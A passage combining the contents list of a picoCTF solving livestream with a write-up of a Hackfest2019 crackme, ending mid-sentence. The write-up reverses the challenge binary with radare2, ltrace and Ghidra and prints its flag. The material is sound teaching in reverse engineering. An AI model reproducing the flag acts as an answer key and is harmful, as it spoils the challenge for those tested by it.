  17. GynvaelEN Part 1: https://www.youtube.com/watch?v=pYrGJ... Table of Content: 00:08 [PROLOG] nervous_testpilot - Focus | http://nervoustestpilot.co.uk/ 02:15 [PROLOG] TheFatRat - Monody (feat. Laura Brehm) | https://youtube.com/user/ThisIsTheFatRat 07:06 [PROLOG] Stellardrone - Bettween The Rings 13:20 ⁂ START ⁂ - Greetings ( ;E ) 13:45 Short agenda about todays' stream; Q&A rules 14:50 Announcements and hypes - introduction of mod's page - foxtrot_charlie | https://foxtrotlabs.cc/ - Paged Out! #2 is out // Call For Papers (one page) until 02/20/2020 (20 Feb 2020); - 16:21 Authors of articles from 1st rel of Paged Out! who have chosen non-TIP/POOL SAA should receive an email; if not get back to me - I've made one of Winja CTF '18 tasks and now it's released | https://github.com/google/google-ctf/... - It looks like Dec 2018 will be exciting contest between TOP 4 of CTF Time | ctftime.org 19:24 Let's get started! 20:44 2Warm / general / 50pts 22:42 picobrowser / web exp / 200pts - on page we see that we are not picobrowser so we are going to change User-Agent - see Dev Tools in web browser, but could be solved in different way, e.g. curl 26:39 Question: Can we use CTFs for prepare for OSCP? Q @ YT chat: are CTFs useful for real life pentesting? 29:03 plumbing / general / 200pts - netcat + "grep to win" technique which is easy and was described previously 30:11 rsa-pop-quiz / crypto / 200pts - tools: netcat + Python CLI as helper for calculations - knowledge: basics of prime numbers and RSA theory - objectives of this task: get to know with RSA - it's really simple 51:31 slippery-shellcode / bin exp / 200pts - tools: checksec.sh (checking protection of running binary) - knowledge: basics of assembly and code review of C-like languages - objectives of this task: old-school basic exploitation with a NOP sled; 32-bit ELF binary (execute shellcode, get the rid of problem with buffering, have no protections, isn't PIE...) + 0:57:44 about shellcodes + 1:00:00 writing a shellcode that uses fopen/fgets found in memory at known locations 1:10:42 Q: Do you know what AVX2 is used for in assembly? - some historical roots of SIMD extensions in Intel CPUs (MMX, SSE, AVX), why was it created, and registers naming (mm0, xmm0, ymm0, zmm0) - note from viewer: there is JSON parser library that uses vectorized instructions 1:15:16 Q: Check whether it is statically linked on the server also, not just the downloaded version. - why this should *not* be true for CTFs because of annoying players and what's the difference from not-lab exploitation cases 1:16:40 vault-door-3 / rev eng / 200pts - reversing Java code 1:27:28 "I'm going to show you another way to do this" - taking a fresh look at the same problem since I got confused by trying to do the reverse mapping in my head on livestream (which I failed hard); so instead, I showed a way to get the mapping to generate itself 1:32:29 Q: What motivates you when doing a hard challenge? 1:34:10 whats-the-difference / general / 200pts - comparing two binary files with use of python Q: What about zip() in Python when the length of lists is not equal? Q: How hard does a challenge have to be to resemble that of a real life scenario in the work force (or as close as it come)? 1:39:58 where-is-the-file / general / 200pts - file starting with . 1:41:20 WhitePages / forensics / 250pts - three code units: E2 80 83 ... - funky ASCII art or binary ASCII encoding? - at the end: a note about ASCII and code pages 1:51:03 c0rrupt / forensics / 250pts 1:51:43 In YT chat Daniel mentioned 24/7 CTF challenges (https://247ctf.com/). Take a look at it - they are really cool! Returning to task: - broken PNG file... - ...but many files are simply based on zlib aka DEFLATE (e.g. ZIP, GZIP, HTTP compression, but also PNG) - we will try to brute force it! - ...and in the end hack it in GIMP. 2:01:55 Q: With zlib compression, can we decompress even without the beginning of the bytes stream? Or if we have "holes" in the bytes stream? 2:03:55 m00nwalk / forensics / 250pts - WAV file with 11MB Please make volume down, because we are m00nwalking with SSTV over the stream sound directly 😎 - from 2:07:00 to 2:07:56 - from 2:09:57 to 2:10:03 - from 2:10:53 to 2:11:33 2:18:17 Q: What did you study in college/University and what certs did you get? See also (in Polish but Google Translate could do the thing): - https://gynvael.coldwind.pl/?id=337 - https://gynvael.coldwind.pl/?id=338 2:20:36 Epilog Thanks for attending folks! Thank you foxtrot_charlie for being my Moderator today! Next stream is planned on next Wednesday (part 3). 2:21:06 [EPILOG] nervous_testpilot - Our Heroes | http://nervoustestpilot.co.uk (kudos to J.V. for ToC!) Our Discord: https://discord.gg/QAwfE5R Our IRC: #gynvaelstream-en on freenode
  18. Practical case: Crack Me 0x03 In this article, a crack me challenge that was present in the Hackfest2019 classic CTF will be solved. The challenge has been created by myself. Firstly, information about the challenge will be given, after which it will be solved in multiple ways. At last, the challenge’s complete source code and design process will be discussed within this article. One can download the challenge here. In total, 52 teams participated in the classic Hackfest2019 CTF. Out of these, there were 18 teams that solved the challenge. Observations regarding the challenge The theme of Hackfest2019 was upside down, although the CTF itself was not bound to this theme. When opening the challenge page, one was greeted with the message that is given below. BRIEFING STATEMENT 02489184 This is a call for aid to any reverse engineer that is skilled enough to solve this riddle. Everybody here solved this ridiculously easy challenge, obviously. Duh! If you think you're worthy, then see for yourself. Oh, and uh, please do submit the answer in this online platform so we can, uh, verify it! END OF BRIEFING Aside from being both a taunt and a joke, the message contains a hint: the answer to the question is the flag for this challenge. As there is no flag format for this CTF, this hint provides valuable information. When using GNU Linux file utility, one will see that the challenge consists of a stripped x86_64 ELF binary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=db660f9010ec370828ed57e15cbc7d25cbf4c479, stripped Upon executing the binary, it prints a riddle. After that, user input is requested. If up is down, then where are you now? I am: The program takes a few seconds before providing an answer, as can be seen below. I am: asdf Not all those who wander are lost, although it seems you are! Upon entering a long string, the program crashes. This means that there is little to no sanitation on the provided input. If up is down, then where are you now? I am: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Not all those who wander are lost, although it seems you are! *** stack smashing detected ***: terminated Aborted (core dumped) Since this is not a binary exploitation challenge, there is not too much that can be gained from experimenting with the length of the input. Lastly, the strings utility can potentially provide valuable insight into the binary itself. The output is given below. /lib64/ld-linux-x86-64.so.2 libc.so.6 strcpy srand __isoc99_scanf puts time __stack_chk_fail printf sleep __cxa_finalize strcmp __libc_start_main GLIBC_2.7 GLIBC_2.4 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable AWAVI AUATL []A\A]A^A_ If up is down, then where are you now? I am: It seems to me, that you are home! Not all those who wander are lost, although it seems you are! ;*3$" GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment The strings that are shown above, are the result of using strings. Noteworthy is the string that is shown when the user is home. This likely is the message one gets when the correct input is given. It is highlighted below. It seems to me, that you are home! Multiple approaches There are multiple approaches to solve such a challenge. In this article, the challenge will be solved dynamically using Radare2, via tracing with ltrace, and statically with Ghidra. Additionally, the creation of the challenge will be discussed, together with the source code. Note that each method only uses information from the observations above. This provides insight in the multiple ways that can be used to solve this challenge. Dynamic analysis – debugging The debugging of this binary will be done using Radare2. In this article, the version of Radare2 is radare2 4.1.0-git 23803 @ linux-x86-64 git.4.0.0-42-ged0873e2f. To debug a binary, use the -d flag, together with a path to the binary, as can be seen below. r2 -d ./whereAmI.elf Radare2 will then provide information about the process ID, the binary’s address, and the bitness of the sample. The output is given below. Process with PID 17757 started... = attach 17757 17757 bin.baddr 0x555ef9f54000 Using 0x555ef9f54000 asm.bits 64 One can then instruct Radare2 to analyse the loaded binary using aaa. After the analysis is complete, one can get an overview of all functions using afl (All Functions List), as can be seen below. 0x555ef9f547c0 1 42 entry00x555efa155fe0 1 4124 reloc.__libc_start_main 0x555ef9f54720 1 6 sym.imp.strcpy 0x555ef9f54730 1 6 sym.imp.puts 0x555ef9f54740 1 6 sym.imp.__stack_chk_fail 0x555ef9f54750 1 6 sym.imp.printf 0x555ef9f54000 2 25 map.home_libra_Downloads_whereAmI.elf.r_x 0x555ef9f54760 1 6 sym.imp.srand 0x555ef9f54770 1 6 sym.imp.strcmp 0x555ef9f54780 1 6 sym.imp.time 0x555ef9f54790 1 6 sym.imp.__isoc99_scanf 0x555ef9f547a0 1 6 sym.imp.sleep 0x555ef9f548c0 5 154 -> 67 entry.init0 0x555ef9f54880 5 58 -> 51 entry.fini0 0x555ef9f547b0 1 6 fcn.555ef9f547b0 0x555ef9f547f0 4 50 -> 40 fcn.555ef9f547f0 0x555ef9f548ca 15 1874 main Based on the size and purpose of the main function, this function is the first to check out. Using s main, one can seek towards the main function. Using pdf (Print Disassembly Function), one can get the complete disassembly of the function. The disassembled instructions are given below. Afterwards, the assembly instructions are analysed in smaller parts. 0x555ef9f548ca push rbp 0x555ef9f548cb mov rbp, rsp 0x555ef9f548ce sub rsp, 0x820 0x555ef9f548d5 mov dword [var_814h], edi ; argc 0x555ef9f548db mov qword [var_820h], rsi ; argv 0x555ef9f548e2 mov rax, qword fs:[0x28] 0x555ef9f548eb mov qword [var_8h], rax 0x555ef9f548ef xor eax, eax 0x555ef9f548f1 lea rdi, str.If_up_is_down__then_where_are_you_now ; 0x555ef9f550a8 ; "If up is down, then where are you now?" 0x555ef9f548f8 call sym.imp.puts ; int puts(const char *s) 0x555ef9f548fd lea rdi, str.I_am: ; 0x555ef9f550cf ; "I am: " 0x555ef9f54904 mov eax, 0 0x555ef9f54909 call sym.imp.printf ; int printf(const char *format) 0x555ef9f5490e lea rax, [var_20h] 0x555ef9f54912 mov rsi, rax 0x555ef9f54915 lea rdi, [0x555ef9f550d6] ; "%s" 0x555ef9f5491c mov eax, 0 0x555ef9f54921 call sym.imp.__isoc99_scanf ; int scanf(const char *format) 0x555ef9f54926 mov edi, 3 0x555ef9f5492b call sym.imp.sleep ; int sleep(int s) ;omitted variable initialisations 0x555ef9f54ea1 mov qword [var_4d8h], rax 0x555ef9f54ea8 mov dword [var_800h], 4 0x555ef9f54eb2 mov dword [var_7fch], 0x12c ; 300 0x555ef9f54ebc mov edi, 0 0x555ef9f54ec1 call sym.imp.time ; time_t time(time_t *timer) 0x555ef9f54ec6 mov edi, eax 0x555ef9f54ec8 call sym.imp.srand ; void srand(int seed) 0x555ef9f54ecd mov dword [var_804h], 0 0x555ef9f54ed7 mov dword [var_7f8h], 0x29 ; ')' ; 41 0x555ef9f54ee1 mov dword [var_7f4h], 3 0x555ef9f54eeb mov byte [var_9h], 0xa 0x555ef9f54eef mov dword [var_804h], 0 ┌─< 0x555ef9f54ef9 jmp 0x555ef9f54f24 ┌──> 0x555ef9f54efb mov eax, dword [var_804h] ╎│ 0x555ef9f54f01 movsxd rdx, eax ╎│ 0x555ef9f54f04 mov rax, qword [var_788h] ╎│ 0x555ef9f54f0b add rax, rdx ╎│ 0x555ef9f54f0e movzx edx, byte [rax] ╎│ 0x555ef9f54f11 mov eax, dword [var_804h] ╎│ 0x555ef9f54f17 cdqe ╎│ 0x555ef9f54f19 mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54f1d add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54ef9 ╎└─> 0x555ef9f54f24 mov eax, dword [var_804h] ╎ 0x555ef9f54f2a cmp eax, dword [var_7f4h] └──< 0x555ef9f54f30 jl 0x555ef9f54efb 0x555ef9f54f32 lea rax, [var_14h] 0x555ef9f54f36 add rax, 3 0x555ef9f54f3a mov rdx, qword [var_4e0h] 0x555ef9f54f41 mov rsi, rdx 0x555ef9f54f44 mov rdi, rax 0x555ef9f54f47 call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) 0x555ef9f54f4c mov dword [var_804h], 0 ┌─< 0x555ef9f54f56 jmp 0x555ef9f54f85 ┌──> 0x555ef9f54f58 mov eax, dword [var_804h] ╎│ 0x555ef9f54f5e movsxd rdx, eax ╎│ 0x555ef9f54f61 mov rax, qword [var_670h] ╎│ 0x555ef9f54f68 add rax, rdx ╎│ 0x555ef9f54f6b mov edx, dword [var_804h] ╎│ 0x555ef9f54f71 lea ecx, [rdx + 6] ╎│ 0x555ef9f54f74 movzx edx, byte [rax] ╎│ 0x555ef9f54f77 movsxd rax, ecx ╎│ 0x555ef9f54f7a mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54f7e add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54f56 ╎└─> 0x555ef9f54f85 cmp dword [var_804h], 2 └──< 0x555ef9f54f8c jle 0x555ef9f54f58 0x555ef9f54f8e mov dword [var_804h], 0 ┌─< 0x555ef9f54f98 jmp 0x555ef9f54fc7 ┌──> 0x555ef9f54f9a mov eax, dword [var_804h] ╎│ 0x555ef9f54fa0 movsxd rdx, eax ╎│ 0x555ef9f54fa3 mov rax, qword [var_718h] ╎│ 0x555ef9f54faa add rax, rdx ╎│ 0x555ef9f54fad mov edx, dword [var_804h] ╎│ 0x555ef9f54fb3 lea ecx, [rdx + 9] ╎│ 0x555ef9f54fb6 movzx edx, byte [rax] ╎│ 0x555ef9f54fb9 movsxd rax, ecx ╎│ 0x555ef9f54fbc mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54fc0 add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54f98 ╎└─> 0x555ef9f54fc7 cmp dword [var_804h], 2 └──< 0x555ef9f54fce jle 0x555ef9f54f9a 0x555ef9f54fd0 lea rdx, [var_20h] 0x555ef9f54fd4 lea rax, [var_14h] 0x555ef9f54fd8 mov rsi, rdx 0x555ef9f54fdb mov rdi, rax 0x555ef9f54fde call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) 0x555ef9f54fe3 test eax, eax ┌─< 0x555ef9f54fe5 jne 0x555ef9f54ff5 │ 0x555ef9f54fe7 lea rdi, str.It_seems_to_me__that_you_are_home ; 0x555ef9f55268 ; "It seems to me, that you are home!" │ 0x555ef9f54fee call sym.imp.puts ; int puts(const char *s) ┌──< 0x555ef9f54ff3 jmp 0x555ef9f55001 │└─> 0x555ef9f54ff5 lea rdi, str.Not_all_those_who_wander_are_lost__although_it_seems_you_are ; 0x555ef9f55290 ; "Not all those who wander are lost, although it seems you are!" │ 0x555ef9f54ffc call sym.imp.puts ; int puts(const char *s) │ ; CODE XREF from main @ 0x555ef9f54ff3 └──> 0x555ef9f55001 mov eax, 0 0x555ef9f55006 mov rcx, qword [var_8h] 0x555ef9f5500a xor rcx, qword fs:[0x28] ┌─< 0x555ef9f55013 je 0x555ef9f5501a │ 0x555ef9f55015 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) └─> 0x555ef9f5501a leave └ 0x555ef9f5501b ret Note that the comments and arrows are added by Radare2. The first part of the code contains the function prologue, sets the values of argc and argv, prints the riddle via puts and printf, and takes the user input via scanf. 0x555ef9f548ca push rbp 0x555ef9f548cb mov rbp, rsp 0x555ef9f548ce sub rsp, 0x820 0x555ef9f548d5 mov dword [var_814h], edi ; argc 0x555ef9f548db mov qword [var_820h], rsi ; argv 0x555ef9f548e2 mov rax, qword fs:[0x28] 0x555ef9f548eb mov qword [var_8h], rax 0x555ef9f548ef xor eax, eax 0x555ef9f548f1 lea rdi, str.If_up_is_down__then_where_are_you_now ; 0x555ef9f550a8 ; "If up is down, then where are you now?" 0x555ef9f548f8 call sym.imp.puts ; int puts(const char *s) 0x555ef9f548fd lea rdi, str.I_am: ; 0x555ef9f550cf ; "I am: " 0x555ef9f54904 mov eax, 0 0x555ef9f54909 call sym.imp.printf ; int printf(const char *format) 0x555ef9f5490e lea rax, [var_20h] 0x555ef9f54912 mov rsi, rax 0x555ef9f54915 lea rdi, [0x555ef9f550d6] ; "%s" 0x555ef9f5491c mov eax, 0 0x555ef9f54921 call sym.imp.__isoc99_scanf ; int scanf(const char *format) Note that this is a 64-bit binary, meaning that the first few arguments are passed via registers instead of the stack. The time that the program takes after the user input is not because it decrypts anything, but because the sleep function is called with 3 as an argument. The argument is the amount of seconds that the program should sleep. After that, there are a lot of variable declarations. In the disassembly below, these are omitted to improve the readability of the code. 0x555ef9f54926 mov edi, 3 0x555ef9f5492b call sym.imp.sleep ; int sleep(int s) ;omitted variable initialisations When the 3 second sleep is over, more variables are set. After that the current time since epoch is requested. The result of this is stored in eax. The value of eax is then moved into edi, where the current time is used as a seed for the random function. 0x555ef9f54ea1 mov qword [var_4d8h], rax 0x555ef9f54ea8 mov dword [var_800h], 4 0x555ef9f54eb2 mov dword [var_7fch], 0x12c ; 300 0x555ef9f54ebc mov edi, 0 0x555ef9f54ec1 call sym.imp.time ; time_t time(time_t *timer) 0x555ef9f54ec6 mov edi, eax 0x555ef9f54ec8 call sym.imp.srand ; void srand(int seed) A couple of other variables are then set, where one instruction is different from the majority that is encountered. At 0x555ef9f54eeb, only a single byte is moved. The value 0xa is also equal to a newline character. 0x555ef9f54ecd mov dword [var_804h], 0 0x555ef9f54ed7 mov dword [var_7f8h], 0x29 ; ')' ; 41 0x555ef9f54ee1 mov dword [var_7f4h], 3 0x555ef9f54eeb mov byte [var_9h], 0xa After that, a loop is encountered. At first, the variable var_804h is set to 0, making it likely that this variable is used as the counter, or i in the original source code. The unconditional jump downards moves i into eax. If eax is less than the value of var_7f4h, the upwards jump is taken again. Just above the loop, var_7f4h is set to equal 3. This means that this loop will iterate three times before the execution continues. The code is given below. 0x555ef9f54eef mov dword [var_804h], 0 ┌─< 0x555ef9f54ef9 jmp 0x555ef9f54f24 ┌──> 0x555ef9f54efb mov eax, dword [var_804h] ╎│ 0x555ef9f54f01 movsxd rdx, eax ╎│ 0x555ef9f54f04 mov rax, qword [var_788h] ╎│ 0x555ef9f54f0b add rax, rdx ╎│ 0x555ef9f54f0e movzx edx, byte [rax] ╎│ 0x555ef9f54f11 mov eax, dword [var_804h] ╎│ 0x555ef9f54f17 cdqe ╎│ 0x555ef9f54f19 mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54f1d add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54ef9 ╎└─> 0x555ef9f54f24 mov eax, dword [var_804h] ╎ 0x555ef9f54f2a cmp eax, dword [var_7f4h] └──< 0x555ef9f54f30 jl 0x555ef9f54efb Within the loop, the value of i is moved into eax, after which it is stored in rdx using the movsxd (Move With Sign Extension) instruction. The value that resides at var_788h is then moved into rax, and the value of i is added. The single byte that resides at the value of rax is moved into edx. The cdqe (Convert Doubleword to Quardword) instruction then increases the size. The value of dl is then stored at rbp plus rax minus 0x14. In other words, the value of dl is stored at base pointer plus the offset of the variable minus 0x14. At last, i is incremented with one. Based on the new value of i, the jump might or might not be taken. To simplify the explanation above, the value that is taken depends on the offset that is equal to i. When using arrays, i is often used to determine the offset within a loop. Note that the offset is used both when getting a value and setting a value. As such, one can rewrite the assembly code above into the C code that is given below. array1[i] = array2[i]; The address that var_14h points to is stored into eax, after which it is incremented with three. The value that resides at var_4e0h is then stored at rdx. Both values are then passed to the strcpy function, which copies the value of the second argument at the location that is stored in the first argument. Note that the offset of 3 is used when defining the destination of the strcpy function. The previous loop iterated for three times. 0x555ef9f54f32 lea rax, [var_14h] 0x555ef9f54f36 add rax, 3 0x555ef9f54f3a mov rdx, qword [var_4e0h] 0x555ef9f54f41 mov rsi, rdx 0x555ef9f54f44 mov rdi, rax 0x555ef9f54f47 call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) The loop below is similar the the one that is observed above. It copies a variable into rbp + rax – 0x14, where rax is the iteration’s offset. This time, however, the offset starts at 6 before adding the value of the current iteration, which is stored in var_804h. 0x555ef9f54f4c mov dword [var_804h], 0 ┌─< 0x555ef9f54f56 jmp 0x555ef9f54f85 ┌──> 0x555ef9f54f58 mov eax, dword [var_804h] ╎│ 0x555ef9f54f5e movsxd rdx, eax ╎│ 0x555ef9f54f61 mov rax, qword [var_670h] ╎│ 0x555ef9f54f68 add rax, rdx ╎│ 0x555ef9f54f6b mov edx, dword [var_804h] ╎│ 0x555ef9f54f71 lea ecx, [rdx + 6] ╎│ 0x555ef9f54f74 movzx edx, byte [rax] ╎│ 0x555ef9f54f77 movsxd rax, ecx ╎│ 0x555ef9f54f7a mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54f7e add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54f56 ╎└─> 0x555ef9f54f85 cmp dword [var_804h], 2 └──< 0x555ef9f54f8c jle 0x555ef9f54f58 Alternatively, one could use i and the hardcoded offset in pseudo code as follows: array1[i + 6] = array2[i]; Similar to the loop above, this loop performs the same action, but using a default offset of 9 instead of 6. 0x555ef9f54f8e mov dword [var_804h], 0 ┌─< 0x555ef9f54f98 jmp 0x555ef9f54fc7 ┌──> 0x555ef9f54f9a mov eax, dword [var_804h] ╎│ 0x555ef9f54fa0 movsxd rdx, eax ╎│ 0x555ef9f54fa3 mov rax, qword [var_718h] ╎│ 0x555ef9f54faa add rax, rdx ╎│ 0x555ef9f54fad mov edx, dword [var_804h] ╎│ 0x555ef9f54fb3 lea ecx, [rdx + 9] ╎│ 0x555ef9f54fb6 movzx edx, byte [rax] ╎│ 0x555ef9f54fb9 movsxd rax, ecx ╎│ 0x555ef9f54fbc mov byte [rbp + rax - 0x14], dl ╎│ 0x555ef9f54fc0 add dword [var_804h], 1 ╎│ ; CODE XREF from main @ 0x555ef9f54f98 ╎└─> 0x555ef9f54fc7 cmp dword [var_804h], 2 └──< 0x555ef9f54fce jle 0x555ef9f54f9a The loops and string copy are used to create one string out of multiple others. The offset that increases with three every time, is used to determine where the new string should start. Two variables are then compared using the strcmp function. 0x555ef9f54fd0 lea rdx, [var_20h] 0x555ef9f54fd4 lea rax, [var_14h] 0x555ef9f54fd8 mov rsi, rdx 0x555ef9f54fdb mov rdi, rax 0x555ef9f54fde call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) The return value of strcmp is then compared. If the two strings are equal, the success message is printed. If the two strings are not equal, the failure message is printed. The program then exits by returning zero, which is the exit code of a graceful exit. 0x555ef9f54fe3 test eax, eax ┌─< 0x555ef9f54fe5 jne 0x555ef9f54ff5 │ 0x555ef9f54fe7 lea rdi, str.It_seems_to_me__that_you_are_home ; 0x555ef9f55268 ; "It seems to me, that you are home!" │ 0x555ef9f54fee call sym.imp.puts ; int puts(const char *s) ┌──< 0x555ef9f54ff3 jmp 0x555ef9f55001 │└─> 0x555ef9f54ff5 lea rdi, str.Not_all_those_who_wander_are_lost__although_it_seems_you_are ; 0x555ef9f55290 ; "Not all those who wander are lost, although it seems you are!" │ 0x555ef9f54ffc call sym.imp.puts ; int puts(const char *s) │ ; CODE XREF from main @ 0x555ef9f54ff3 └──> 0x555ef9f55001 mov eax, 0 0x555ef9f55006 mov rcx, qword [var_8h] 0x555ef9f5500a xor rcx, qword fs:[0x28] ┌─< 0x555ef9f55013 je 0x555ef9f5501a │ 0x555ef9f55015 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) └─> 0x555ef9f5501a leave └ 0x555ef9f5501b ret To see when the two strings are equal, one can set a breakpoint on the strcmp function. By inspecting the arguments in the memory, one can see both the user input and the generated flag. The strcmp function resides at 0x555ef9f54fde. Within Radare2, one can set a breakpoint using db address (Debug Break) where address is the location of the breakpoint. As such, one has to issue the following command to set a breakpoint on the strcmp function: db 0x555ef9f54fde To continue execution until the breakpoint is hit, one uses the dc (Debug Continue) command. During the execution, one has to provide user input to the riddle in order to continue the execution. When the breakpoint is hit, the two arguments are located at rdx and rdi. Below, the argument set-up and function call to the strcmp function are given again. 0x555ef9f54fd0 lea rdx, [var_20h] 0x555ef9f54fd4 lea rax, [var_14h] 0x555ef9f54fd8 mov rsi, rdx 0x555ef9f54fdb mov rdi, rax 0x555ef9f54fde call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) The variable names are based upon the offset compared to rbp. The location where all the loops wrote data to is located at rbp + rax – 0x14. In this case, rax was used to determine the offset into rbp – 0x14, which is also known as var_14h. As such, the variable var_14h contains the flag that was generated. The address of var_14h is stored in rax, after which it is moved into rdi. When the breakpoint is hit, one can use ps @ address to print the string at a given address or register. The result of ps @ rdi will provide the flag: D0wN_uN|)3r Dynamic analysis – tracing When tracing the binary, one will get to know information about the calls it makes without interfering with the binary itself. Given that the standard C library is used (based on the strings within the binary), one can assume that functions from this library are used to perform actions. As such, the GNU Linux ltrace (Library Trace) utility can be used. Below, an excerpt from the ltrace manual pages is given. ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program. Starting the binary is simple: provide the path to ltrace as an argument and press enter. The output is given below. ltrace ./whereAmI.elf puts("If up is down, then where are yo"...If up is down, then where are you now? ) = 39 printf("I am: ") = 6 __isoc99_scanf(0x55799c2230d6, 0x7ffc8b93d7e0, 0, 0I am: The program then awaits the user input, as it normally would. The execution of the program is resumed normally after providing the user input, as can be seen below. __isoc99_scanf(0x55799c2230d6, 0x7ffc8b93d7e0, 0, 0I am: user_input ) = 1 sleep(3) = 0 time(0) = 1574117574 srand(0x5dd320c6, 0x7ffc8b93cfa0, 0, 0x7ff3ed5b29a4) = 0 strcpy(0x7ffc8b93d7ef, "N_u") = 0x7ffc8b93d7ef strcmp("D0wN_uN|)3r", "user_input") = -49 puts("Not all those who wander are los"...Not all those who wander are lost, although it seems you are! ) = 62 +++ exited (status 0) +++ As can be seen in the output, the program sleeps for 3 seconds, after which the current time is obtained. The random function is seeded, the string N_u is copied towards a specific address. The user input is then compared to D0wN_uN|)3r and the failure message is then written towards the output stream. This way, the flag is obtained without diassembling the binary. Static code analysis All default options were used when analysing the binary with Ghidra 9.0.2, as well as the Decompile Parameter ID option. Since Ghidra cannot find a main function, one will have to start at the entry function, which is given below. void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3) { undefined8 in_stack_00000000; undefined auStack8 [8]; __libc_start_main(FUN_001008ca,in_stack_00000000,&stack0x00000008,FUN_00101020,FUN_00101090, param_3,auStack8); do { /* WARNING: Do nothing block with infinite loop */ } while( true ); } The __libc_start_main function requires multiple arguments. By default, the first argument is a pointer towards the main function. Double clicking on it will show the main function. The complete function is given below, after which it is analysed in parts. undefined8 FUN_001008ca(void) { int iVar1; time_t tVar2; long in_FS_OFFSET; int local_80c; char local_28 [12]; char local_1c [11]; undefined local_11; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("If up is down, then where are you now?"); printf("I am: "); __isoc99_scanf(&DAT_001010d6,local_28); sleep(3); tVar2 = time((time_t *)0x0); srand((uint)tVar2); local_11 = 10; local_80c = 0; while (local_80c < 3) { local_1c[(long)local_80c] = (&DAT_0010110d)[(long)local_80c]; local_80c = local_80c + 1; } strcpy(local_1c + 3,"N_u"); local_80c = 0; while (local_80c < 3) { local_1c[(long)(local_80c + 6)] = (&DAT_00101198)[(long)local_80c]; local_80c = local_80c + 1; } local_80c = 0; while (local_80c < 3) { local_1c[(long)(local_80c + 9)] = (&DAT_00101145)[(long)local_80c]; local_80c = local_80c + 1; } iVar1 = strcmp(local_1c,local_28); if (iVar1 == 0) { puts("It seems to me, that you are home!"); } else { puts("Not all those who wander are lost, although it seems you are!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } The purpose of the function becomes clear near the end, where two strings are compared. Based on the comparison result (which is stored in iVar1), one of two possible strings is printed. If the two values are equal, the success message is printed. If they are not equal, the failure message is printed. One can rename iVar1 into comparisionResult. Within the loops above, the variable local_80c is used to keep track of the amount o fiterations. As such, this variable can be renamed into i. In the beginning, the program prints the riddle and requests the user input. The user input is stored in local_28, which can be renamed into userInput. Based on the two arguments of the string compare function, this means that local_1c is the generated flag. One can rename local_1c into generatedFlag After storing the user input, the program sleeps for 3 seconds. The current time since epoch is then stored in tVar2, after which it is used to seed the random function. One can rename tVar2 into currentTime, as can be seen below. puts("If up is down, then where are you now?"); printf("I am: "); __isoc99_scanf(&DAT_001010d6,userInput); sleep(3); currentTime = time((time_t *)0x0); srand((uint)currentTime); All the global variables are marked with DAT_*. All global variables within the loops are character arrays. By changing their type into char[3] using the T hotkey in the diassembly window, their literal value will be shown within the decompiler. The code below reflects all changes that have been made. undefined8 FUN_001008ca(void) { long lVar1; int comparisionResult; time_t currentTime; long in_FS_OFFSET; int i; char userInput [12]; char generatedFlag [11]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); puts("If up is down, then where are you now?"); printf("I am: "); __isoc99_scanf(&DAT_001010d6,userInput); sleep(3); currentTime = time((time_t *)0x0); srand((uint)currentTime); i = 0; while (i < 3) { generatedFlag[(long)i] = "D0w"[(long)i]; i = i + 1; } strcpy(generatedFlag + 3,"N_u"); i = 0; while (i < 3) { generatedFlag[(long)(i + 6)] = "N|)"[(long)i]; i = i + 1; } i = 0; while (i < 3) { generatedFlag[(long)(i + 9)] = "3r"[(long)i]; i = i + 1; } comparisionResult = strcmp(generatedFlag,userInput); if (comparisionResult == 0) { puts("It seems to me, that you are home!"); } else { puts("Not all those who wander are lost, although it seems you are!"); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } Based on this, one can see how the flag is constructed. There are four variables that are concatenated into a single string to form the flag. The first three characters are copied into index zero through two within a loop. The next three characters are copied into index three through five using the strcpy function. The next two loops copy the last characters at different offsets. Each loop has an offset to ensure that the character that is copied, is placed at the correct location of the final string. One can simply copy and paste each part to form the flag: D0wN_uN|)3r. Challenge creation When creating a challenge, multiple methods to get the flag need to be possible whilst keeping a specific difficulty level in mind. In this case, the flag is not encrypted but spread out in multiple parts in no apparent order. Between the flag parts, there are a lot of unused variables of equal size to confuse the analyst. During runtime, the multiple flag parts are assembled in order, after which the user input is compared to the assembled flag. The length of each part, either part of the flag or a part of the garbage code to confuse the analyst, is 3 characters at most. This is done because the GNU Linux strings utility searches for strings that are at least four characters in size by default, as can be seen in the excerpt from the strings utility manual page. For each file given, GNU strings prints the 